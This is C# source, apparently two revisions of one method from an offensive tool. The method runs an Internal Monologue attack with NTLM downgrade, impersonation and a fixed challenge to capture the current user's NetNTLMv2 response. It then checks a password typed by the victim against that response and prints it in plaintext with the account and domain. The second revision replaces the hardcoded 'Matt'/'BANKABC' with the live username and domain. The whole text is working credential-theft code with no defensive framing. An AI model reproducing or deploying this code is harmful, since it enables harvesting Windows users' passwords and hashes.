public string startmonologue(string plainpassword) { bool impersonate = true, threads = false, downgrade = true, restore = true, verbose = false; string challenge = "1122334455667788"; var monologue = new InternalMonologue(impersonate, threads, downgrade, restore, challenge, verbose); Console.WriteLine("[x] Collecting information..."); var monologueConsole = monologue.Go(); var netntlmv2 = monologueConsole.Output(); string netntlmv2str = netntlmv2.ToString(); string netNTLMv2Response = netntlmv2.Replace("\n", String.Empty);; IMChecker checker = new IMChecker(netNTLMv2Response); if (checker.checkPassword(plainpassword)) { Console.WriteLine("[x] Success: Password Acquired"); Console.WriteLine(""); PrintLine(); PrintRow("Account", "Domain", "Password"); PrintLine(); PrintRow("Matt", "BANKABC", plainpassword); PrintLine(); } else { Console.WriteLine("[x] Incorrect password input by user"); Console.WriteLine("Exiting.."); } return(netntlmv2); }
public string startmonologue(string plainpassword) { bool impersonate = true, threads = false, downgrade = true, restore = true, verbose = false; string challenge = "1122334455667788"; var monologue = new InternalMonologue(impersonate, threads, downgrade, restore, challenge, verbose); Console.WriteLine("[x] Collecting information..."); var monologueConsole = monologue.Go(); var netntlmv2 = monologueConsole.Output(); string netntlmv2str = netntlmv2.ToString(); string netNTLMv2Response = netntlmv2.Replace("\n", String.Empty);; IMChecker checker = new IMChecker(netNTLMv2Response); string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name; string domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; if (checker.checkPassword(plainpassword)) { Console.WriteLine("[x] Success: Password Acquired"); Console.WriteLine(""); PrintLine(); PrintRow("Account", "Domain", "Password"); PrintLine(); PrintRow(userName, domain, plainpassword); PrintLine(); } else { Console.WriteLine("[x] Incorrect password input by user"); Console.WriteLine("Exiting.."); } return(netntlmv2); }